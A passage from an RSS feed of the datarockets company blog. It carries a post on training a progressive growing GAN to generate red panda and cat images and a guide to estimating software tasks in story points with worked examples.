      <category>rails</category>
      <category>docker</category>
      <category>softwaredevelopment</category>
    </item>
    <item>
      <title>Training a neural network for fun and profit</title>
      <dc:creator>Anastasia Berazniova</dc:creator>
      <pubDate>Thu, 11 Jan 2024 17:31:47 +0000</pubDate>
      <link>https://forem.com/datarockets/training-a-neural-network-for-fun-and-profit-4j4e</link>
      <guid>https://forem.com/datarockets/training-a-neural-network-for-fun-and-profit-4j4e</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Originally published &lt;a href="https://datarockets.com/blog/code/training-neural-network-progressive-growing-gan/" rel="noopener noreferrer"&gt;here&lt;/a&gt; by Anastasia Berezniova&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;At datarockets, we have a small tradition of greeting teammates with a Happy Friday post in the slack channel with a picture of a cute red panda – our company brand animal.&lt;/p&gt;

&lt;p&gt;During a 1-month gap between projects, our developers wanted to try something we have never done before with the potential of applying this knowledge to clients’ projects in the future. Our choice fell on neural networks.&lt;/p&gt;

&lt;p&gt;Putting these two together, we came up with the idea of our fun educational project – &lt;strong&gt;build and train a neural network to generate unique images of red pandas, and let our custom slack bot Mona (who is an e-cat :)) post a generated panda every Friday with positive wishes to the team&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;See the useful links about GANs and neural networks below.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4evk0b6syo3njtb9uewp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4evk0b6syo3njtb9uewp.png" alt="Red panda photo from company archive"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Approach
&lt;/h2&gt;

&lt;p&gt;We started with researching the technical aspects of neural networking, specifically different network architecture types and technologies we could use. This resulted in the following set of technologies: &lt;strong&gt;Python&lt;/strong&gt; as a language and &lt;strong&gt;TensorFlow&lt;/strong&gt; as a machine learning framework. A &lt;strong&gt;generative adversarial network (GAN)&lt;/strong&gt; based on convolutional layers was chosen as a network architecture type.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A whirlwind tour of neural networks&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Basically, GAN consists of two neural networks competing with each other – a &lt;em&gt;generator&lt;/em&gt; and a &lt;em&gt;discriminator&lt;/em&gt;. The &lt;em&gt;generator&lt;/em&gt; generates images that are mixed into the training dataset and passed to the &lt;em&gt;discriminator&lt;/em&gt;. &lt;em&gt;Discriminator&lt;/em&gt; decides whether the images are real or fake, i.e., whether they are from a training dataset or were generated. During that process, the &lt;em&gt;generator&lt;/em&gt; corrects its weights based on whether it successfully fooled a &lt;em&gt;discriminator&lt;/em&gt; into deciding that generated image was real. And &lt;em&gt;discriminator&lt;/em&gt;, in turn, corrects its weights based on whether it correctly distinguished the real image from the generated one. So both networks learn by competing with each other.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Collecting the datasets of red pandas and cats&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The path in the technological aspect was cleared out, but to move forward with generating red panda images, we needed a dataset of red panda images to train the network on. We searched on ready datasets of red pandas but did not find a suitable one. However, we did find a data science platform with massive resources of machine learning datasets – &lt;a href="http://kaggle.com/" rel="noopener noreferrer"&gt;Kaggle&lt;/a&gt;, which also provides cloud computing power to train the models faster. So at that point, we defined two parallel tasks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;slowly but surely collect our dataset of red panda images,&lt;/li&gt;
&lt;li&gt;build and adjust a network using another similar dataset – a dataset of &amp;gt;5000 cat face images we found on Kaggle.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;First low-resolution images and limitations of GANs&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Soon we built our first network attempt, then came a long process of figuring out which parameters and practices lead to the best results. And the best we could squeeze out of that configuration was realistic but low-resolution cat faces (64x64px).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fovfc2dsii4hui664ss1p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fovfc2dsii4hui664ss1p.png" alt="low-resolution cat faces"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The problem is that GANs are usually limited to small images because higher resolution makes it easier for discriminators to tell the generated images apart from training images, but a stable training process requires the discriminator and generator to find balance.&lt;/p&gt;

&lt;p&gt;We clearly needed some solution that would allow us to generate images of higher quality, so we started thinking about alternative network architectures.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Considering SRGAN&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;First, we considered involving one more network in the flow – SRGAN. SRGAN is an abbreviation for Generative Adversarial Network for image Super-Resolution. The name pretty much tells you its purpose – it translates lower-resolution images to higher-resolution images. The idea was that our model, at that point, would generate 64×64 resolution images, and then SRGAN would upscale them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Applying Progressive Growing GAN&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;But a more appealing approach was Progressive Growing GAN – an extension to the GAN training process that involves incrementally increasing the number of layers of the network and, accordingly, the size of input/output images during training. Starting from, for example, 4×4 images and one block of convolutional layers on both discriminator and generator, ending with 256×256 images and seven blocks of convolutional layers. This allows the models first to learn the large-scale structure of the image and then shift attention to increasingly finer scale detail instead of having to learn all scales simultaneously. In the picture, you can see samples of images generated on each stage of training – 8×8, 16×16, 32×32, 64×64, 128×128, and 256×256.&lt;/p&gt;

&lt;p&gt;The important thing here was to find the optimal training schedule – from what resolution to start and accordingly a number of stages and training steps for each stage, so none of them get overtrained. Our approach to measuring network performance needed to be improved to do this faster and more precisely.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqzgsjnm1w6a1zbp78lvb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqzgsjnm1w6a1zbp78lvb.png" alt="samples of images generated on each stage of training "&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Results
&lt;/h2&gt;

&lt;p&gt;Our model still has much more potential to realize as we didn’t have much time to adjust it. However, the intermediate results are great, and we are happy to present them. Here are a couple of “good boys”:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxdbb8hugdxsxsqj54w1o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxdbb8hugdxsxsqj54w1o.png" alt="photo of “good boys”"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And here are a couple of “bad boys”:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzf78qkzr9vqsctyeyyn8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzf78qkzr9vqsctyeyyn8.png" alt="photo of “bad boys”"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As for the second task – collecting the dataset, by the time we had to switch to a new commercial project, we had &amp;gt;500 pictures of red pandas. This number is still too small to train the network.&lt;/p&gt;

&lt;p&gt;As said, there is a lot to improve in our project. Maybe one day, some datarockers will pick this project up and continue it. And after expanding our tiny red panda dataset and adjusting the training process on it, we will bring the red panda generator to life.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Useful links&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here you will find the most useful links and articles about GANs and neural networks we explored while implementing this project:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/soumith/ganhacks" rel="noopener noreferrer"&gt;How to Train a GAN? Tips and tricks to make GANs work &lt;/a&gt;(highly recommended)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://machinelearningmastery.com/practical-guide-to-gan-failure-modes/" rel="noopener noreferrer"&gt;How to Identify and Diagnose GAN Failure Modes&lt;/a&gt; (highly recommended)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://towardsdatascience.com/convolutional-layers-vs-fully-connected-layers-364f05ab460b" rel="noopener noreferrer"&gt;Convolutional Layers vs Fully Connected Layers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://machinelearningmastery.com/introduction-to-regularization-to-reduce-overfitting-and-improve-generalization-error/" rel="noopener noreferrer"&gt;How to Avoid Overfitting in Deep Learning Neural Networks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://machinelearningmastery.com/introduction-to-progressive-growing-generative-adversarial-networks/" rel="noopener noreferrer"&gt;A Gentle Introduction to the Progressive Growing GAN&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>neural</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>How we estimate tasks in Story Points</title>
      <dc:creator>Alexey Ryabov</dc:creator>
      <pubDate>Mon, 18 Dec 2023 09:56:57 +0000</pubDate>
      <link>https://forem.com/datarockets/how-we-estimate-tasks-in-story-points-249i</link>
      <guid>https://forem.com/datarockets/how-we-estimate-tasks-in-story-points-249i</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Originally published &lt;a href="https://datarockets.com/blog/code/estimate-story-points/"&gt;here&lt;/a&gt; by &lt;a href="https://aryabov.com/"&gt;Alexey Ryabov&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Estimating story points may be a term you've come across in software development, as it is a common method used by teams to estimate the effort required to complete tasks. Unfortunately, without a deeper understanding of &lt;em&gt;how&lt;/em&gt; or &lt;em&gt;why&lt;/em&gt; it works, this method can be misused by teams and can even lead to unintended consequences and valuable time wasted.&lt;/p&gt;

&lt;p&gt;This article will break down the fundamentals of what story points are and provide a step-by-step guide on how to use them to estimate tasks in software development teams.&lt;/p&gt;

&lt;p&gt;Here's what we'll cover:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What are story points?&lt;/li&gt;
&lt;li&gt;How to estimate in story points?&lt;/li&gt;
&lt;li&gt;Why use story points?&lt;/li&gt;
&lt;li&gt;Examples of using story points&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At the end, you will find additional resources that can help you deepen your understanding of story points more.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are story points?
&lt;/h2&gt;

&lt;p&gt;Story points are an abstract unit of measurement to estimate the overall effort. Story points are a flexible and elegant method as they can take into account different factors based on your team's needs such as time, complexity, amount of work, risks and uncertainties, etc.&lt;/p&gt;

&lt;p&gt;The tasks are estimated in story points relative to each other. That's why it's important to have some baseline tasks that you have estimated together with your team and have discussed that estimation in detail. This will serve as a benchmark for everyone to estimate the other tasks.&lt;/p&gt;

&lt;p&gt;Story points are usually assigned using a scale such as the Fibonacci sequence (1, 2, 3, 5, 8, 13, 21, etc.). It's not a requirement to use this particular scale, you can use any scale that works for you. The advantage of the Fibonacci sequence is that it's a non-linear sequence that brings the following properties:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Represents well the idea that estimating a task becomes less precise as the task becomes larger.&lt;/li&gt;
&lt;li&gt;Illustrates well the idea of relative sizing. Using a linear scale (e.g., 1, 2, 3, 4, 5) might give the false impression that each story point is the same amount more complex as the one before. The Fibonacci sequence avoids this pitfall by emphasizing that the relationship between sizes is approximate and non-linear. The ratio between values is more important than the values itself.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How to estimate in story points?
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Define factors of story points
&lt;/h3&gt;

&lt;p&gt;Before using story points, you need to define what a story point represents. You need to think about which factors are the most important for your team and describe them in detail.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The factors can vary between teams and projects.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In this guide, we will be using the following factors:&lt;/p&gt;

&lt;h4&gt;
  
  
  ⌚ Time
&lt;/h4&gt;

&lt;p&gt;Even though Time isn't usually listed as a factor in other guides, I believe that it's quite an important one for tasks that are clear (usually small tasks). Instead of trying to give a precise amount of time to implement a task, it's better to use an approximate amount which improves the accuracy of estimations and makes it easier to estimate. If it's too hard to predict, we give our estimate based on other factors. If other factors differ a lot from the time, then it can mean that you need to revisit your estimation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Questions&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How long does it take to complete the task approximately?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Options&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;0 - 2 hours&lt;/li&gt;
&lt;li&gt;3 - 8 hours&lt;/li&gt;
&lt;li&gt;9 - 16 hours&lt;/li&gt;
&lt;li&gt;17 - 26 hours&lt;/li&gt;
&lt;li&gt;27 - 40 hours&lt;/li&gt;
&lt;li&gt;Unknown&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  🧠 Complexity
&lt;/h4&gt;

&lt;p&gt;Complexity takes into account such things as a need for special knowledge, clarity of implementation, amount of edge cases, etc.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Questions&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How hard is it to complete this task?&lt;/li&gt;
&lt;li&gt;Do you need special knowledge to complete this task?&lt;/li&gt;
&lt;li&gt;Is the solution clear or does it require some time to come up with a solution?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Options&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Lowest&lt;/li&gt;
&lt;li&gt;Low&lt;/li&gt;
&lt;li&gt;Medium&lt;/li&gt;
&lt;li&gt;High&lt;/li&gt;
&lt;li&gt;Highest&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  🛠️ Amount of work
&lt;/h4&gt;

&lt;p&gt;Amount of work assesses the sheer volume of work required to complete a task. This factor is quite related to Time but answers different questions. It's often the case when it's hard to estimate time but it's clear that you need to write a lot of code or you need to do some research before implementing a task.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Questions&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Does it require writing a lot of code?&lt;/li&gt;
&lt;li&gt;How much work needs to be done?&lt;/li&gt;
&lt;li&gt;How much do you need to research?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Options&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Lowest&lt;/li&gt;
&lt;li&gt;Low&lt;/li&gt;
&lt;li&gt;Medium&lt;/li&gt;
&lt;li&gt;High&lt;/li&gt;
&lt;li&gt;Highest&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  💣 Risk and uncertainty
&lt;/h4&gt;

&lt;p&gt;Risk and uncertainty take into account things you can't know until starting a task. For example, you can't envision what issues you will stumble across during an upgrade of some library to a major version even when it has clear release notes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Questions&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How much is known about a task?&lt;/li&gt;
&lt;li&gt;Is the task clear?&lt;/li&gt;
&lt;li&gt;Is there something that's hard to predict?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Options&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;None&lt;/li&gt;
&lt;li&gt;Low&lt;/li&gt;
&lt;li&gt;Medium&lt;/li&gt;
&lt;li&gt;High&lt;/li&gt;
&lt;li&gt;Highest&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the Examples section, we will use those factors, commenting on a decision for each of them.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Determine your story point sequence
&lt;/h3&gt;

&lt;p&gt;Your team needs to have a limited set of possible story points to make the estimation process more accurate and easier. It's not that important the actual values of story points. It can be numbers or even letters (e.g. S, M, L, see &lt;a href="https://asana.com/resources/t-shirt-sizing"&gt;T-shirt sizing&lt;/a&gt;). But the values should be relative to each other and easy to understand.&lt;/p&gt;

&lt;p&gt;Some popular choices are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.avion.io/blog/story-points-fibonacci/#the-fibonacci-sequence"&gt;Fibonacci sequence&lt;/a&gt; (1, 2, 3, 5, 8, 13, 21)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://asana.com/resources/t-shirt-sizing"&gt;T-shirt sizing&lt;/a&gt; (XS, S, M, L, XL)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It's usually a good idea to have a small set of story points (~5 options) because as an estimate becomes bigger it becomes less accurate. When your estimate is big for a task, it's a good sign that you need to break the task down into smaller tasks and estimate them separately.&lt;/p&gt;

&lt;p&gt;In this guide, we will be using the Fibonacci sequence (1, 2, 3, 5, 8).&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Create a story point matrix
&lt;/h3&gt;

&lt;p&gt;A story point matrix helps your team to estimate tasks by accumulating all the factors. It makes estimations more consistent, helps the team to be on the same page when it comes to estimations and to argue the estimation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--NsZEe0yX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dug7m9o5q2ppf1yq3z70.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NsZEe0yX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dug7m9o5q2ppf1yq3z70.png" alt="Story Point Matrix" width="800" height="369"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Explain the concept to the team
&lt;/h3&gt;

&lt;p&gt;Once you set the definition of a story point, determined a sequence, and created a story point matrix, now it's time to explain it to the team and show how to use it. It's important that each team member understands the concept.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Prepare baseline tasks for future estimates
&lt;/h3&gt;

&lt;p&gt;You need to select some tasks that will act as a reference/baseline for future estimates and estimate them in detail together with a team using the matrix. It will simplify the estimation process a lot in the future and will make story points and the matrix much clearer.&lt;/p&gt;

&lt;p&gt;The more you use story points, the more accurate estimates become so feel free to change baseline tasks from time to time.&lt;/p&gt;

&lt;p&gt;Ideally, you need to have at least one baseline task for each story point value you have.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Set up a poker planning session
&lt;/h3&gt;

&lt;p&gt;Poker planning helps to organize the estimation process. The idea of poker planning is that each participant estimates a task in story points privately and the result isn't shown until the voting is over. If the story points are the same, move on to the next task. If the story points differ much, it's time to discuss it together and clarify why participants chose a certain amount of story points.&lt;/p&gt;

&lt;p&gt;There are a lot of tools for this. In our team, we use Slack for communication and it has a good extension &lt;a href="https://deniz.co/slack-poker-planner/"&gt;"Poker Planner for Slack"&lt;/a&gt;. It has all the configurations we need, it's easy to use, and makes it possible to make the session asynchronous.&lt;/p&gt;

&lt;h3&gt;
  
  
  7. Execute your sprint and measure its velocity
&lt;/h3&gt;

&lt;p&gt;The beautiful side of estimation is that it allows us to measure a team's velocity. The velocity is the measure of a team's capacity to complete work during a sprint. Story points improve accuracy by having a limited amount of values and taking into account multiple factors. Knowing the team's velocity helps to see potential issues, discuss them with the team, and set realistic goals for the next sprints.&lt;/p&gt;

&lt;p&gt;To calculate the velocity, you just need to calculate the total amount of completed story points when a sprint ends. This number is the velocity of your team for the sprint.&lt;/p&gt;

&lt;p&gt;After completing several sprints, it's a good idea to measure an average velocity which will help you to understand how many story points you can plan for the next sprints.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why use story points?
&lt;/h2&gt;

&lt;p&gt;Now, when we know what story points are and how to use them, we can summarize the benefits of story points. Understanding these benefits will shed light on why teams often choose story points over other methods for estimation and planning.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;More Accurate Estimations&lt;/strong&gt;. Story points help us to estimate tasks more accurately compared to other simple measurements such as time because it takes into account multiple measurements, which often impact the estimations, such as complexity, amount of work, risks and uncertainties. Besides accuracy, it makes it easier to estimate because all the factors are approximate values and a team doesn't need to give precise estimations for each factor.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reduced Pressure on Teams&lt;/strong&gt;. Since story points aren't tied to time only and it's an abstract unit, it reduces pressure on teams which leads to more productive work.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Improved Team Collaboration&lt;/strong&gt;. Story points define an exact process for estimating tasks. It involves the whole team into the estimation process and gives a common language for estimating which improves communication. Techniques such as "Poker planning" make the estimation process more efficient and productive.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Statistics&lt;/strong&gt;. Story points help the team to analyze their performance by calculating different metrics such as velocity. Having statistics helps us to spot performance issues in advance, discuss it with a team, and plan the next sprints more accurately based on the statistics.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Examples
&lt;/h2&gt;

&lt;p&gt;To better understand story points, let's estimate some tasks together using the matrix from this guide.&lt;/p&gt;

&lt;h3&gt;
  
  
  Task #1. Use pluralization rules for text
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We need to update all instances in the UI where we use a noun with a dynamic number to use a function that automatically applies the appropriate pluralization rule. For example, "1 word", "2 words", etc.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Additional context&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We're going to use a library which we've used on other projects before. The codebase is of medium size and it's not hard to search in it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Estimation&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Time&lt;/strong&gt; - 0-2 hours. Knowing the existing code base isn't very big, we're pretty sure that this task won't take more than 2 hours.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Complexity&lt;/strong&gt; - Lowest. There is nothing complex to implement. We don't need to implement pluralization from scratch since we're going to use a library for that.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Amount of work&lt;/strong&gt; - Low. It requires us to go through the codebase and find places where we need to update text.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Risk and uncertainty&lt;/strong&gt; - Low. Since we don't know the exact places where we need to update text, there is a small risk of underestimating and having more places than we initially expected.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Points - 1&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Task #2. Add virtualization to feed
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We have a feed of users' posts with infinite scroll. We need to implement virtualization in the list to improve its performance when the list becomes large.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Additional context&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We're going to use some library for virtualization but we don't know which one yet. The list has items with dynamic height. The code for the feed is readable and written quite well.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Estimation&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Time&lt;/strong&gt; - 3-8 hours. We don't need to implement the virtualization logic from scratch since we're going to use some library for that. We previously had experience of applying virtualization in previous projects, so we know the general idea and know approximately how much time it can take.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Complexity&lt;/strong&gt; - Medium. Virtualization is not a straightforward concept. To successfully apply it, we need to understand how it works. We have a dynamic height for a list item and an infinite scroll, which complicates the usage of virtualization.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Amount of work&lt;/strong&gt; - Low. Since we had experience previously using some libraries for virtualization, we know that, in most cases, it doesn't require a lot of changes in the codebase. The code for the feed is written well, and it's easy to change and understand.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Risk and uncertainty&lt;/strong&gt; - Medium. We don't know exactly what library we're going to use. There are some risks of something not working as before because it changes drastically the way the feed is rendered.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points - 2&lt;/strong&gt;. Here we have an uncertain situation because the factors we chose don't map to the matrix fully. From the matrix, it should be either 2 or 3. We ended up choosing 2 because everyone was sure that it wouldn't take more than 8 hours, and it was a decisive factor.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Task #3. Implement login page
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In the scope of this task, we need to add a new page &lt;code&gt;/sign-in&lt;/code&gt; which contains a simple form with &lt;code&gt;email&lt;/code&gt; and &lt;code&gt;password&lt;/code&gt; fields and a submit button. We need to handle errors from API. We also need to establish architecture for protected/unprotected routes and make the login page available only for unauthenticated users.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Additional context&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We're going to use some library for managing forms. We have all basic components like input, button, etc. in UI kit we use.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Estimation&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Time&lt;/strong&gt; - 9-16 hours. Based on previous experience and taking into account that we're going to use a lot of existing solutions, we think that it won't take more than 16 hours.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Complexity&lt;/strong&gt; - Low. It contains pretty common functionality. UI doesn't have anything complex and most of the components are already ready. All the complex form management/validation will handle some library. Amount of work - Medium. We need to do several things, like choosing a library for form management, communicating with API, handling errors from API, implementing an architecture for protected/unprotected routes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Risk and uncertainty&lt;/strong&gt; - Low. It's clear how it should work. We know how to communicate with API. We have experience working with forms, so even though we don't know which library we're going to use, we don't expect a lot of risks from it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Points - 3&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Task #4. Implement chart on dashboard
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We need to implement a chart on a dashboard which shows some statistics. It's a bar chart with a tooltip. The design for the chart is custom.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Additional context&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We're going to use some library for building charts but we don't know which one yet. We don't have any experience building charts. We need to implement it to look the same as on the design so we need a library where we can customize the appearance of charts as we need. We need to think about the loading state, empty state. We need to communicate with API.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Estimation&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Time&lt;/strong&gt; - Unknown. It's hard to estimate how much time it needs since we don't have prior experience in implementing charts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Complexity&lt;/strong&gt; - High. Data visualization isn't an easy concept and requires special knowledge to successfully build custom charts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Amount of work&lt;/strong&gt; - High. We need to find a library which covers all our requirements. We need to learn the found library and learn data visualization in general.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Risk and uncertainty&lt;/strong&gt; - High. Since we never did it before, there are a lot of uncertainties and risks. We don't know which library we're going to use, we don't know how hard it's to use that library and which issues it has, we don't know how hard it's to learn data visualization.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points - 8&lt;/strong&gt;. Even though it might not take much time in the end, we still chose 8 because there are a lot of uncertainties.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Additional resources
&lt;/h2&gt;

&lt;p&gt;If you want to understand better story points then I highly recommend to read these articles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.parabol.co/blog/story-points/"&gt;Story Points: The Complete Guide &amp;amp; FAQ&lt;/a&gt;&lt;/li&gt;
